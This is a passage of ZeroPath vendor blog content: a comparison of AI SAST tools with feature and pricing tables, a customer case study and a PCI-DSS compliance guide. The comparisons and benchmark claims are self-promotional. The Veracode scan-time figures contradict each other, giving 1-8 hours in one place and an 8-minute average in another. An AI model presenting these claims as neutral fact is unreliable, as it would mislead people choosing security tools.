### 6. Veracode ![Veracode SAST platform](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/best-ai-sast-2026/veracode.png) Founded in 2006 by former Stake Security engineers. They serve 3,000+ organizations across regulated industries with FedRAMP Moderate authorization. What makes Veracode unique is its binary analysis approach. Unlike every other tool on this list that scans source code, Veracode analyzes compiled binaries and bytecode. You upload your JAR, WAR, DLL, or EXE file and Veracode scans it without needing access to your source. This means it can scan third-party, commercial, and legacy applications where you don't have source code access. The trade-off here is speed. Veracode's full Policy Scan can take 1-8 hours for large applications, which makes it impractical for PR-level scanning. They offer a faster Pipeline Scan (2-15 minutes) but it has a 200MB file size limit and fewer features. #### Key Features - **Patented binary/bytecode analysis** that scans compiled code without source access - **Comprehensive platform** covering SAST, DAST, SCA, IAST, manual pentest, container, and API security - **Veracode Fix** for AI-powered automated remediation - **FedRAMP Moderate ATO** (fully authorized since 2022) with US, EU, and US-Federal data residency regions - **Deepest compliance pedigree**: SOC 2, ISO 27001, HIPAA BAA, PCI DSS 4.0, NIST 800-53. ServiceNow and Splunk integrations for enterprise GRC workflows #### Language Support Veracode supports 30+ languages including Java, .NET (C#), JavaScript, Python, PHP, Ruby, C/C++, Go, Scala, Kotlin, and Swift. Because it analyzes compiled bytecode, language support depends on the runtime/compiler target. It has particularly strong analysis for Java and .NET ecosystems. #### Pricing Veracode pricing starts at approximately $15,000/year and scales based on the number of applications scanned. Each application requires its own license, which gets expensive quickly for microservice architectures. Enterprise deployments can reach $200K+/year. No free tier is available. #### Pros 1. Binary analysis is a unique capability that lets you scan applications without source code access, great for third-party and legacy code 2. Veracode's FedRAMP authorization makes it the safest choice for government and heavily regulated organizations #### Cons 1. Slow scan times: Policy Scan averages 8 minutes and can exceed 30+ minutes for large applications. DAST scans take 3+ days 2. Cloud-only with no on-premises option. All binaries must be uploaded to Veracode's AWS infrastructure, which creates data sovereignty concerns 3. Per-application licensing model is expensive for microservice architectures. No custom rule support (the engine is a black box) 4. Binary analysis approach has no mechanism for detecting AI-specific vulnerabilities like prompt injection or training data exposure in LLM-powered applications **Best for:** Enterprises that are still using legacy languages or are in highly regulated industries like financial services, healthcare, and government that need binary analysis capabilities and proven compliance certifications. #### Frequently Asked Questions About Veracode
How long do Veracode scans take? Veracode offers two scan types with very different speeds. **Pipeline Scan:** 2-15 minutes, but limited to 200MB file size and single-language analysis. **Policy Scan (full):** 1-8 hours depending on application size and complexity. Some large apps take even longer. This scan speed is Veracode's most common complaint among developers. For comparison, Semgrep completes in seconds and ZeroPath in under 2 minutes for most projects.
Is Veracode better than Checkmarx? Both are enterprise-grade SAST leaders but they differ in approach. Veracode uses binary/bytecode analysis (you upload compiled code, not source), which means you don't need to configure build environments. Checkmarx scans source code directly, providing more granular results and custom rule support. Veracode is stronger in regulated industries and has lower false positive rates. Checkmarx offers more customization and faster scan times. Pricing is comparable ($15K-$50K+/yr range for both).
What languages does Veracode support? Veracode supports 30+ languages and frameworks including Java, .NET, JavaScript, Python, PHP, Ruby, C/C++, Go, Scala, Kotlin, Swift, and more. Because it analyzes compiled bytecode rather than source code, language support depends on the runtime/compiler target. It has particularly strong support for Java and .NET ecosystems. For interpreted languages like Python or JavaScript, Veracode uses a separate source-code analysis engine.
### 7. Cycode ![Cycode ASPM platform](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/best-ai-sast-2026/cycode.png) Founded in 2018 in Israel, acquired Bearer in 2024 for $10M to gain a native SAST engine and API discovery capabilities. Cycode doesn't position itself as just a SAST tool. It's an Application Security Posture Management (ASPM) platform. The idea behind ASPM is simple: instead of using 5 different security tools with 5 different dashboards, you use one platform that aggregates, deduplicates, and prioritizes findings from all of them. Cycode's "Risk Intelligence Graph" correlates signals from SAST, SCA, secrets detection, IaC scanning, container scanning, and CI/CD pipeline security into a single risk-prioritized view. But the tool is still maturing. User reviews mention bugs, limited integrations (especially AWS), and the product "still feeling like it's in development." #### Key Features - **ASPM platform** aggregating SAST, SCA, secrets, IaC, container, and CI/CD security into one view - **Risk Intelligence Graph** for context-aware risk prioritization and 90% reduction in alert noise - **ConnectorX** for 100+ third-party tool integrations - **CI/CD pipeline security** with native posture monitoring and code tampering detection - **Change Impact Analysis** to understand blast radius of code changes - **Native SAST engine** (via Bearer acquisition) with AI-powered scanning - **Only vendor with explicit DORA compliance mapping** for EU financial services. Also covers SOC 2, PCI DSS, HIPAA, NIST 800-53, and ISO 27001 #### Language Support Cycode supports 30+ languages through its native scanner (acquired from Bearer) and third-party integrations. JavaScript/TypeScript, Python, Java, Go, Ruby, and PHP have the deepest coverage through the native engine. #### Pricing Cycode does not publish pricing publicly. It's positioned as an enterprise product with custom pricing. No free tier or trial is available without contacting sales. #### Pros 1. Risk Intelligence Graph provides genuine noise reduction (90% alert reduction claimed) by correlating signals across multiple scanners 2. Only major ASPM with native CI/CD pipeline security monitoring and code tampering detection #### Cons 1. Product maturity is a real concern. Gartner reviewers note bugs, minimal logging, and heavy dependence on Cycode support for troubleshooting 2. No free tier or trial. Opaque enterprise-only pricing prevents mid-market evaluation 3. SAST engine (acquired via Bearer in 2024) is newer and less proven than Checkmarx, Semgrep, or ZeroPath's detection capabilities 4. No detection for AI-specific vulnerability classes like prompt injection or training data exposure, which limits its usefulness as teams adopt LLM-powered features **Best for:** Organizations focused on software supply chain security that want a unified risk view across multiple security tools and need CI/CD pipeline visibility. #### Frequently Asked Questions About Cycode
What is Cycode's ASPM platform? Cycode positions itself as an Application Security Posture Management (ASPM) platform: a unified dashboard that aggregates findings from multiple security scanners (SAST, SCA, secrets, IaC) into one view. Cycode acquired Bearer in 2024 to add a native SAST engine. The ASPM approach means Cycode can correlate findings across tools, reduce duplicate alerts, and provide risk-based prioritization. It's best suited for teams that already use multiple security tools and need a "single pane of glass."
How does Cycode compare to Snyk? Snyk is more mature, more widely adopted, and has stronger individual product capabilities (especially SCA). Cycode's differentiator is its ASPM platform approach: aggregating multiple security signals into one view with risk-based prioritization. Snyk has a larger rule database, more language support, and better developer experience. Cycode may be a fit if you want a unified ASPM platform, but teams looking for best-in-class SAST or SCA will generally find Snyk or other dedicated tools stronger.
## SAST Tools Comparison: Feature Matrix We have split the comparison into two tables: one for developers and engineers evaluating the technical capabilities, and one for CISOs and security leadership evaluating enterprise readiness. ### For Developers and Engineers
| Feature | ZeroPath | Checkmarx | Snyk Code | Semgrep | SonarQube | Veracode | Cycode | | ----------------------------- | ----------------- | ----------------- | ------------------ | ----------------- | --------------------- | ------------------- | ------------- | | **Detection Method** | AI-native | Rule + AI triage | Rule + AI-powered | Pattern + AI | Rule-based | Binary + source | Multi-scanner | | **AI Auto-Fix** | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | **Languages** | 30+ | 35+ | 19+ | 40+ | 35+ | 30+ | 30+ | | **Free Tier** | 14-day trial | No | Yes (limited) | Yes (OSS) | Yes (Community) | No | No | | **CI/CD Integration** | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | **IDE Plugin** | Early stage | Yes | Yes | Yes | Yes | Yes | No | | **SAST + SCA** | Yes | Yes | Yes | Yes | Limited | Yes | Yes | | **Secrets Scanning** | Yes | Yes | No | Yes | No | No | Yes | | **IaC Scanning** | Yes | Yes | Yes | No | No | No | Yes | | **Business Logic Detection** | Yes | No | No | No | No | No | No | | **AI Vuln Detection** | Yes | No | No | No | No | No | No | | **Custom Rules** | Natural language | CxQL | Enterprise DSL | YAML | XML/Java | No | Limited | | **Monorepo Support** | Yes | Yes | Yes | Yes | Yes | No (per-app model) | Yes | | **SARIF Output** | Yes | Yes | Yes | Yes | Yes | Yes | No | | **MCP Server** | Yes (open source) | Yes (proprietary) | Yes (experimental) | Yes (beta) | Yes (GA) | No (community only) | No | | **24x7 Direct Slack Support** | Yes | No (ticket-based) | No (ticket-based) | No (ticket-based) | No (community/ticket) | No (ticket-based) | Yes | | **Approx. Price** | $$ | $$$$ | $$ | $-$$$ | $-$$ | $$$$ | $$$ |
| Symbol | Annual Cost | | ------ | ------------ | | $ | Under $5K/yr | | $$ | $5-20K/yr | | $$$ | $20-50K/yr | | $$$$ | $50K+/yr |
### For CISOs and Security Leadership
| Feature | ZeroPath | Checkmarx | Snyk Code | Semgrep | SonarQube | Veracode | Cycode | | ------------------------- | ----------------------------------- | -------------------------------------- | --------------------------- | -------------------- | --------------------------- | ------------------------------------ | --------------------------------- | | **SSO (SAML/OIDC)** | Yes | Yes | Yes | Yes | Yes (Enterprise) | Yes (SAML only) | Yes | | **RBAC** | Yes | Yes | Yes (Enterprise) | Yes | Limited (Enterprise) | Yes | Yes | | **SOC 2 Type II** | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | **FedRAMP** | No | High-Ready | Moderate ATO | No | No | Moderate ATO | Ready | | **On-Prem Deployment** | Yes | Yes | No | No | Yes | No | No | | **Data Residency** | US | US, EU, APAC (7+ regions) | US, EU, APAC | US, EU | US, EU | US, EU, US-Fed | US, EU | | **Compliance Mapping** | ISO 27001, SOC 2, PCI-DSS 4.0, NIST | ISO 27001, SOC 2, PCI-DSS, NIST, HIPAA | SOC 2, PCI-DSS, NIST, HIPAA | SOC 2, PCI-DSS, NIST | SOC 2, PCI-DSS (Enterprise) | SOC 2, PCI-DSS, NIST, HIPAA, FedRAMP | SOC 2, PCI-DSS, NIST, HIPAA, DORA | | **ServiceNow** | Yes | Yes | Yes | No | Yes | Yes | No | | **GRC Platforms** | Vanta, Drata | Limited | Limited | No | No | No | No | | **SIEM (Splunk/Datadog)** | Yes | Yes | Yes | Yes | Yes | Yes | No | | **SLA Monitoring / MTTR** | Yes | Yes | Yes | Basic | Basic | Yes | Yes | | **Audit Trail** | Immutable, signed | Yes | Yes | Basic | Yes (Enterprise) | Yes | Yes | | **Executive Dashboards** | Yes | Yes | Yes | Basic | Yes (Enterprise) | Yes | Yes |
--- ## How Much Do SAST Tools Cost? SAST pricing is all over the place. Here's what you're actually looking at.
| Tool | Free Tier | Team/Startup | Enterprise | Pricing Model | | --------- | --------------------- | -------------------------------- | ------------- | -------------------- | | ZeroPath | 14-day free trial | $1K/mo + $60/dev | Contact sales | Base + per-developer | | Checkmarx | No | N/A | ~$40-59K/yr | Flat license | | Snyk Code | 100 SAST tests/mo | $25/dev/mo | ~$110/dev/mo | Per-developer | | Semgrep | OSS (community rules) | $35/contributor/mo (per product) | Contact sales | Per-seat | | SonarQube | Community Edition | From $150/yr | From $20K/yr | Per-instance (LOC) | | Veracode | No | N/A | $15K-200K+/yr | Per-application | | Cycode | No | Contact sales | Contact sales | Custom |
### What to watch out for **Per-developer pricing** (Snyk, ZeroPath, Semgrep) is the most predictable. But check how "developer" is defined. Snyk counts anyone who committed to a monitored repo in the last 90 days. ZeroPath counts only active users of the tool. That difference can mean 3x the cost for the same team. **Lines-of-code pricing** (SonarQube) gets expensive fast. With AI-generated code doubling output, your bill grows even if your team doesn't. **Per-application pricing** (Veracode) is brutal for microservice architectures. If you have 50 services, you need 50 licenses. **Flat enterprise licenses** (Checkmarx) give you predictability but the entry point is $40K+. And that's before professional services for implementation. ## Frequently Asked Questions About SAST
What is AI-powered SAST? AI-powered SAST tools use machine learning or large language models to analyze code semantics beyond simple pattern matching. The benefits are fewer false positives (the AI understands context), detection of logic vulnerabilities that rule-based tools miss, and automated fix suggestions. Tools like [ZeroPath](https://zeropath.com) use LLMs natively in the detection engine, while others like Snyk Code use ML models and Checkmarx uses AI primarily for triage and prioritization.
Can SAST tools detect logic bugs? Traditional rule-based SAST tools struggle with logic bugs because they match patterns, not intent. AI-powered SAST tools are better at catching logic flaws like broken authentication checks, race conditions, and authorization bypasses because they understand code semantics. However, no SAST tool catches all logic bugs. Manual code review, penetration testing, and DAST remain essential for comprehensive coverage.
How do I reduce SAST false positives? Start with a tool that has a low baseline false positive rate. AI-native tools like ZeroPath tend to have lower FP rates than traditional rule-based engines. Then: tune severity thresholds to focus on critical/high issues, suppress known-safe patterns, use baseline scans to surface only new findings, and integrate SAST into PR reviews so developers triage findings in context rather than reviewing bulk reports.
Is SAST enough for application security? No. SAST catches source-code vulnerabilities but misses runtime issues (use DAST), known dependency CVEs (use SCA), infrastructure misconfigurations (use IaC scanning), and hardcoded secrets (use secrets scanning). A mature AppSec program uses SAST + SCA + DAST + secrets scanning at minimum. Several tools in this guide (ZeroPath, Snyk, Checkmarx, Cycode) offer multiple scanning types in a single platform.
Can SAST be used in CI/CD pipelines? Yes. All 7 tools reviewed here integrate with CI/CD systems including GitHub Actions, GitLab CI, Jenkins, and Azure DevOps. Most offer CLI tools, pre-built pipeline actions, and PR commenting. The key differentiator is scan speed: Semgrep completes in seconds, ZeroPath in under 2 minutes, and Veracode's full scan can take hours. For CI/CD use, prioritize tools with incremental scanning and fast feedback loops.
--- #### Why Commenda Chose ZeroPath to Secure Their Global Tax Platform - **Date**: February 26, 2026 - **Authors**: ZeroPath Team - **Reading Time**: 8 minutes - **Keywords**: ai sast, business logic vulnerabilities, business logic vulnerability, developer velocity, ai powered sast, fintech application security - **URL**: https://zeropath.com/blog/commenda-case-study How Commenda's CTO runs a complete security program, finding 4× more real vulnerabilities including business logic bugs no legacy scanner catches, in a couple hours per week without dedicated security headcount. --- ## Commenda: Tax Compliance for Growing Multinationals Commenda is a global tax compliance and entity management platform that helps businesses incorporate, manage, and stay compliant across 70+ countries. The platform handles everything from corporate governance and cap table management to indirect tax, transfer pricing, and financial reporting for growing international companies. Commenda processes highly sensitive financial and identity data at a global scale, where the margin for security error is effectively zero. --- ## The Challenge: Scaling Security Without Dedicated Security Headcount [Yaacov Tarko](https://www.linkedin.com/in/yaacov-tarko/), Founder and CTO, built Commenda's engineering organization from the ground up. Today, the team includes engineers across a range of experience levels, with hiring continuing to accelerate. AI-assisted development tools like Cursor have driven 2–3× year-over-year productivity gains, meaning code output has scaled even faster than headcount. They build tax-compliant software where business logic has to be correct every time. Every pull request still gets a rigorous, line-by-line review. Yet even the most thorough manual code reviews can miss vulnerabilities that require understanding what code is _supposed_ to do, not just what it does. - A rapidly expanding code surface area, accelerated by AI-assisted development - Engineers across experience levels building secure development practices - Increasing enterprise customer expectations for security evidence - SOC 2 Type 2 and ISO 27001 certifications on the roadmap - The tail risk of a security incident that could seriously damage the business Without dedicated security headcount, Yaacov was responsible for security alongside leading engineering and product. He needed a way to run security the way a company with a full security team would, without actually building one from scratch. --- ## Why Commenda Chose ZeroPath As Commenda prepared for SOC 2 Type 2 and ISO 27001 certification, Yaacov knew he needed a code scanning tool that doesn't fill them with false positives and can actually find real vulnerabilities. Auditors expect PR-level scanning and continuous vulnerability monitoring. But he had no interest in buying a noisy scanner just to check a compliance box. If the team was going to adopt a tool, it had to actually make the product more secure. That's when Yaacov connected with ZeroPath. It took them merely 5 minutes to start their first scan with no rollout project or rule tuning required. What kept Commenda using ZeroPath was the quality of vulnerabilities it found. Where traditional SAST tools like Semgrep, Snyk, Aikido, etc. flag syntactic patterns, ZeroPath started surfacing vulnerabilities that required understanding code intent: authorization bypasses, access control gaps, and business logic flaws that no rule-based scanner could detect. ZeroPath caught a business logic authorization issue in a PR review that could have given users access they should never have had. As Yaacov put it, "that's not something any pre-LLM tool could catch. You have to actually understand what the code means to know that it's incorrect." Of the issues important enough to fix at Commenda, more than half were business logic vulnerabilities, the category that traditional scanners miss entirely. --- ## The Solution: ZeroPath in Commenda's Engineering Workflow Today, ZeroPath is integrated into Commenda's weekly engineering rhythm. The team uses two complementary modes: PR checks provide merge-time guardrails and compliance visibility, while full-repo scans drive deeper discovery and surface the highest-value findings. ### How Yaacov runs security from his desk Yaacov runs full scans on cadence, then logs into ZeroPath weekly to review findings. ZeroPath identifies likely code owners based on commit history, and Yaacov routes findings to the right engineers through Linear with severity-based SLAs. When a finding isn't resolved within the SLA window, he follows up directly. The entire security workflow, from discovery through triage, assignment, and tracking, takes him a couple hours per week. For many findings, ZeroPath generates targeted fix PRs. Engineers review the proposed fix, apply context-aware adjustments when needed, and ship. The heavy lifting of finding the vulnerability, understanding it, and drafting a fix is already done before a developer even opens the PR. Most fixes take 15 to 20 minutes to validate and merge. ### Elevating engineering security practices Not every engineer on Commenda's team is a security specialist, and they don't need to be. ZeroPath's detailed vulnerability explanations turn findings into learning opportunities. Yaacov describes them as what a security professional would write if they were teaching someone the bug from scratch. His engineers actually enjoy using the tool because they learn as they go, which shifted ZeroPath from a pure scanner into ongoing developer education and codebase visibility. ### Delivering compliance coverage auditors trust Enterprise buyers and auditors expect clear evidence of secure review workflows. ZeroPath provides PR scanning proof for SOC 2, continuous monitoring through scheduled full-repo scans, and auditable finding-to-fix trails, all from a single platform. Instead of splitting across disconnected tools, Commenda gets compliance evidence and actionable findings in the same workflow. The PR checks satisfy auditor requirements while full scans do the real security work. --- ## The Results: Stronger Security, No Slowdown By deploying ZeroPath, Commenda built a security program that scales with engineering output and AI-assisted development speed, without adding headcount or slowing delivery. As Yaacov puts it, ZeroPath does the hard part, and as AI-assisted coding accelerates the team, ZeroPath keeps pace.

4× more real vulnerabilities found

Before ZeroPath, bugs were caught only ad-hoc during code reviews. Systematic scanning now surfaces 4× more real security problems.

50%+ of critical findings are business logic bugs

The highest-value findings are the ones no legacy scanner could surface: authorization bypasses, access control gaps, and logic flaws that require understanding code intent.

Zero slowdown in development velocity

Automated fix generation and clear explanations keep remediation under 20 minutes per finding. Development hasn't slowed at all.

Complete security program without a security hire

Yaacov runs Commenda's entire security workflow (discovery, triage, assignment, and tracking) in a couple hours per week.

SOC 2 and ISO 27001 readiness streamlined

PR checks, scheduled scans, and auditable finding-to-fix trails give auditors everything they need from a single tool.

--- ## About ZeroPath ZeroPath is an AI-native application security platform that detects, explains, and helps fix real vulnerabilities, including business logic bugs, with precision and developer-friendly workflows. Leading engineering teams use ZeroPath to increase security coverage without slowing development or increasing headcount. --- ## Frequently asked questions
What is a business logic vulnerability, and why are they harder to find than traditional vulnerabilities? A business logic vulnerability is a flaw in how an application enforces its own rules (authorization checks, payment flows, access controls) rather than a flaw in how it handles input. Unlike SQL injection or XSS, these bugs look like normal, syntactically correct code. There's no pattern to match against, which is why traditional SAST tools miss them entirely. Detecting them requires understanding what the code is supposed to do, then reasoning about where that intent breaks down. At Commenda, ZeroPath discovered over 50% of critical business logic vulnerabilities that scanners like SonarQube, Semgrep, and Snyk Code had missed.
How does ZeroPath detect business logic vulnerabilities better than traditional SAST tools? ZeroPath uses a multi-stage AI pipeline instead of static rule databases. It parses source code into an enriched graph capturing control flow and data flow across files, then runs source-to-sink taint analysis to trace untrusted data through authentication guards and business logic layers. An LLM-driven analysis layer then reasons about code intent, recognizing missing authorization checks, bypassable payment flows, or access control gaps, rather than matching signatures. Every finding is validated for reachability and exploitability, cutting false positives by 75%. Learn more in the full technical deep-dive: [How ZeroPath Works](https://zeropath.com/blog/how-zeropath-works).
What integrations does ZeroPath support? ZeroPath natively supports [GitHub, GitLab, Bitbucket, Azure DevOps, and more](https://zeropath.com/products/integrations) for PR scanning and full-repo scans. Findings sync directly to Jira and Linear with severity-based prioritization, and real-time alerts go to Slack and email. Teams can also import findings from existing scanners (Snyk, Semgrep, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys) which ZeroPath re-validates with AI-powered CVSS 4.0 scoring. Enterprise SSO, audit logs, and team-based permissions are included out of the box.
How does application security testing help fintech companies stay compliant with SOC 2 and ISO 27001? Both SOC 2 and ISO 27001 require demonstrable secure development practices: code review processes, continuous vulnerability monitoring, and documented remediation evidence. Application security tools that integrate into CI/CD pipelines satisfy these by providing PR-level scanning proof, scheduled full-repo scans for continuous monitoring, and auditable finding-to-fix trails. At Commenda, ZeroPath delivers all three from a single platform. Engineering leadership runs the entire security workflow in a couple hours per week, with audit-ready documentation generated automatically, no separate compliance tooling required.
--- #### How to meet security requirements for PCI-DSS compliance? - **Date**: July 17, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 8 minutes - **Keywords**: PCI compliance, PCI DSS compliance, PCI DSS 12 requirements, PCI DSS security standards, shifting left security, payment security, fintech compliance, credit card processing, application security, compliance requirements, PCI PTS, PCI 3DS, PCI P2PE - **URL**: https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance Of the 12 requirements of PCI DSS, the 6th one requires companies to maintain application security at all times and is one of the most critical and challenging to meet due to the dynamic nature of software development. --- If you've been following our PCI compliance series, you already know [what type of PCI compliance your business needs](https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance) and understand [the 12 core requirements of PCI-DSS](https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant). Now, onto the more practical part: how do you actually implement and maintain these requirements at scale, especially when your engineering teams are pushing code multiple times a day? And this can get really messy really fast as teams scale. The reality is that PCI-DSS Requirement 6 (Deploy and maintain secure systems and applications) isn't just any other requirement. It's the most dynamic and challenging requirement to maintain. While you can configure a firewall once and monitor it, your application code is constantly changing. Every commit, every dependency update, and every new feature potentially introduces vulnerabilities that could compromise cardholder data. This is where modern AI-native Application Security (AppSec) tools, such as ZeroPath, become essential, not just for compliance, but for maintaining actual security in a fast-moving development environment. ## Security at the Speed of Development Traditionally, teams would do quarterly or annual checks. Companies would [conduct a penetration test (pentest)](https://zeropath.com/products/penetration-tests) to identify and flag all potential vulnerabilities. Security teams would then be assigned to patch those loose ends, and ultimately, everything would be secured and marked as PCI-DSS compliant. That approach is fundamentally flawed, as code is being pushed to production every day. It's highly vulnerable for any company to wait until the next quarterly scan, especially when the code is going live on the same day. Consider what PCI-DSS 4.0.1 actually requires for application security: - Vulnerability identification and remediation within one month for critical issues - Secure coding practices with code review. ([Security practices for vibe coding](https://zeropath.com/blog/vibe-coding-and-security)) - Protection against common vulnerabilities ([OWASP Top 10](https://zeropath.com/blog/what-is-owasp)) - Change control and separation of development/production environments - Regular security testing, including both automated and manual reviews Now multiply these requirements across dozens of repositories, hundreds of developers, and thousands of commits per month. Manual processes simply can't scale. ## Security for PCI-DSS Compliance becomes much easier when teams follow good engineering practices and incorporate security into the process from the outset. This mindset is known as the [shifting left](https://www.dynatrace.com/news/blog/what-is-shift-left-and-what-is-shift-right/) mindset, and many teams are beginning to shift left very early in their product development cycle. Modern AI-native AppSec platforms, such as ZeroPath, address this by embedding security checks directly into the development workflow. Instead of finding vulnerabilities months after their introduction, ZeroPath catches them before they ever reach production. ## AppSec Capabilities for PCI-DSS Requirements ### Requirement 6.2: Protect Applications Against Known Vulnerabilities Traditional SAST tools, such as Snyk and Semgrep, identify vulnerabilities through sophisticated pattern matching; however, they often overlook context-dependent issues that actually get exploited. An AI-native SAST tool like ZeroPath goes beyond just pattern matching. It understands your code base, identifying business logic flaws and authentication bypasses that couFld expose cardholder data. It uses LLMs to identify sinks and sources, tracing user input through your application to find exploitable paths. This means ZeroPath can detect: - **Business Logic Vulnerabilities**: The Business Logic Scanner identifies flaws such as price manipulation in e-commerce systems, coupon exploitation, and workflow bypasses. - **Authentication/Authorization Issues**: ZeroPath specifically identifies broken or missing authentication (authN) and authorization (authZ) issues. For payment systems, this means catching IDOR vulnerabilities where users could access other customers' payment information, or missing function-level access controls on payment APIs. - **Technical Vulnerabilities**: Beyond business logic, ZeroPath detects SQLi, XSS, SSRF, and other [OWASP Top 10 vulnerabilities](https://zeropath.com/blog/what-is-owasp) using its sink component, which uses AI to stay current with new vulnerability classes. At some point, you might feel like there are too many AppSec solutions to choose from, and for that very reason, our security team has [run benchmarks on the major AppSec providers](https://zeropath.com/blog/benchmarking-zeropath). ZeroPath leads this industry with an 81.7% detection rate, more than twice that of Snyk, and a 19.9% false rate, almost half that of Semgrep. Additionally, to meet this PCI-DSS requirement, ZeroPath supports over 20 languages (including C, C++, Java, Python, JavaScript/TypeScript, Ruby, Go, and more), providing comprehensive coverage across your payment processing stack, including templating engines such as Svelte and Embedded Ruby. Also, if all of this information made you curious about how ZeroPath works under the hood, [our security team has a step-by-step process for how ZeroPath is made from the ground up](https://zeropath.com/blog/how-zeropath-works) using LLMs. ### Requirement 6.3: Develop Software Securely PCI-DSS mandates secure coding practices and code reviews. Developers can meet this requirement easily with ZeroPath in multiple ways: #### 1. [AI Pull Request Scanning](https://zeropath.com/products/pr-reviews) ZeroPath scans every PR in under 60 seconds, ensuring vulnerabilities never reach production. The scan includes: - Vulnerability detection across your entire codebase - Repository context analysis to understand how changes impact security - Automatic patch generation for discovered issues #### 2. [Natural Language Rules](https://zeropath.com/products/policy-engine) Security teams love using ZeroPath because they can define custom policies without writing complex regex. This has become one of the most valuable features for developers. Teams have seen a significant boost in productivity and vulnerability findings since they no longer have to write regex and consider all possible edge cases. For PCI compliance, you might create rules like: - `Ensure no logging of credit card numbers` - `Verify that all payment endpoints require authentication` - `Prevent storage of CVV data in any form` #### 3. [Code Review Integration](https://zeropath.com/products/integrations) ZeroPath integrates with the majority of industry-standard developer applications. * GitHub * GitLab * Bitbucket * Azure Pipelines * CLI / Docker Support * Code Upload Other Integrations: * Jira * Linear * Slack * Email * Webhooks * SARIF, CSV exports * API In case of vulnerability detected in any of the PR or code scans, ZeroPath raises an issue or blocks the PR and assigns it to the developer who initially wrote that code, so that there is less need for manual management. ### Requirement 6.4: Follow Change Control Processes Teams confuse change control with proper documentation or detailed commit messages, but at its core, the goal is not to introduce vulnerabilities. ZeroPath customers navigate this by: * **Audit Logs**: Logging every scan, finding, and remediation, providing the documentation required for PCI audits. Teams can export these logs and other reports and use them during their compliance audits as proof of security. * **Break Glass Access**: For emergency deployments, authorized users can bypass failed security checks while maintaining full audit trails. * **Scan Cancellation and Logs**: Gain complete visibility into all security scans, including who initiated them, what they found, and how they resolved those issues. * **Team/Organization-based ACLs**: Granular access controls ensure separation of duties between development and production environments, with MSP support for managing multiple organizations. ### Requirement 6.5: Address Common Vulnerabilities ZeroPath's vulnerability detection addresses all major vulnerability classes required by PCI-DSS: * [**Integrated SCA with Reachability Analysis**](https://zeropath.com/products/sca): The platform not only lists vulnerable dependencies but also determines whether vulnerable code is actually reachable from user inputs. This eliminates false positives significantly and focuses remediation efforts on actual risks. * [**Secret Detection**](https://zeropath.com/products/secrets): Automatically finds hardcoded API keys, passwords, and credentials that could compromise payment systems. ZeroPath tests these secrets and only raises an issue when those secrets are live and functional. So, if your team is using some test cases, you don't need to worry about the false positives. * [**Infrastructure as Code (IaC) Scanning**](https://zeropath.com/products/iac): Ensures your cloud infrastructure configurations don't expose payment processing systems. * [**Source-to-Sink Visibility**](https://zeropath.com/products/sast): A full call graph of relationships shows exactly how user input can reach vulnerable code, which is essential for understanding complex payment flow vulnerabilities. ### Requirement 8: Identify Users and Authenticate Access You can meet more requirements than just the 6th with ZeroPath. It helps you ensure your authentication implementations are secure: * **Authentication Vulnerability Detection**: ZeroPath specifically looks for broken authentication patterns, including: * Missing MFA implementations * Weak session management * JWT misconfigurations * Authentication bypass vulnerabilities ZeroPath is also the only AppSec solution that can detect authentication issues and business logic flaws. **Custom Authentication Policies**: You can use natural language rules to enforce your specific authentication requirements, such as `all admin endpoints must use multi-factor authentication.` ### Requirement 11.3: Perform External and Internal Vulnerability Scanning By this point, you should understand why it's essential to perform continuous vulnerability scans rather than conducting them periodically. * **Scheduled Scans**: In some cases, teams might still want a complete periodic scan for safekeeping, and for that case, they can configure automatic scans on your preferred schedule. Teams can enable Auto AppSec mode simultaneously with PR scans that take place with every code push. * **Permissiveness Levels**: Adjust scanning sensitivity for different environments. You would ideally want stricter rules for production and more permissive rules for development. * **Intelligent Severity Scoring**: Using CVSS 4.0, ZeroPath provides accurate severity ratings that help prioritize remediation efforts. ZeroPath evaluates every vulnerability and assigns it a confidence score based on its severity and exploitability, allowing teams to prioritize patches. ### Requirement 12.8: Maintain Policies for Service Providers For organizations acting as service providers, reporting and management become a priority, and to ease their workload, ZeroPath can: * Reporting Capabilities: Generate repo, organization, or team-level analytics, including: * Mean time to remediation * Most common vulnerability classes by language and framework * Team performance metrics * Vulnerability trends over time * SBOM Generation: Export Software Bill of Materials for transparency with your customers about your security posture. * CWE Mapping: All vulnerabilities get mapped to the CWE standards for consistent reporting. * [Enterprise SSO Integration](https://zeropath.com/products/enterprise): Centralized authentication management ensures proper access control across all teams. ## Conclusion PCI-DSS compliance, especially the security aspect of it, doesn't really have to slow down development or require massive manual effort. You can choose [one of the AppSec platforms](https://zeropath.com/blog/top-ai-sast-tools) to automate a lot of it, from security and logging to monitoring. ZeroPath has helped numerous fintech and payment companies achieve PCI-DSS compliance. Using features such as the Business Logic Scanner, natural language rules, and automatic patch generation, you can ensure your payment systems remain secure without requiring active development hours and energy. The inbuilt language support, integrations, and detection capabilities make it an easy plug-and-play security and compliance solution. --- #### What is PCI DSS? 12 Requirements to be PCI DSS Compliant - **Date**: July 16, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: PCI compliance, PCI DSS compliance, PCI DSS 12 requirements, PCI DSS security standards, shifting left security, payment security, fintech compliance, credit card processing, application security, compliance requirements, PCI PTS, PCI 3DS, PCI P2PE - **URL**: https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant PCI DSS is a set of 12 requirements designed to protect cardholder data. It covers security, network, and application layers. To be compliant, businesses must implement these requirements, which include data encryption, firewalls, regular security audits and more. --- PCI DSS stands for Payment Card Industry Data Security Standard. It’s a set of security requirements designed to ensure that all companies that process, store, or transmit credit card information maintain a secure environment. PCI-DSS is one of the most famous standards under the "PCI Compliance" umbrella term. If you are curious and unsure which PCI standard applies to you, we have provided a detailed breakdown of all types of PCI compliance in our ["What is PCI Compliance?"](https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance) blog. ## Who needs PCI-DSS Compliance? Before we discuss the specifics of PCI-DSS, it's beneficial to understand how different players fit into this landscape and who bears the most compliance responsibilities. So, a 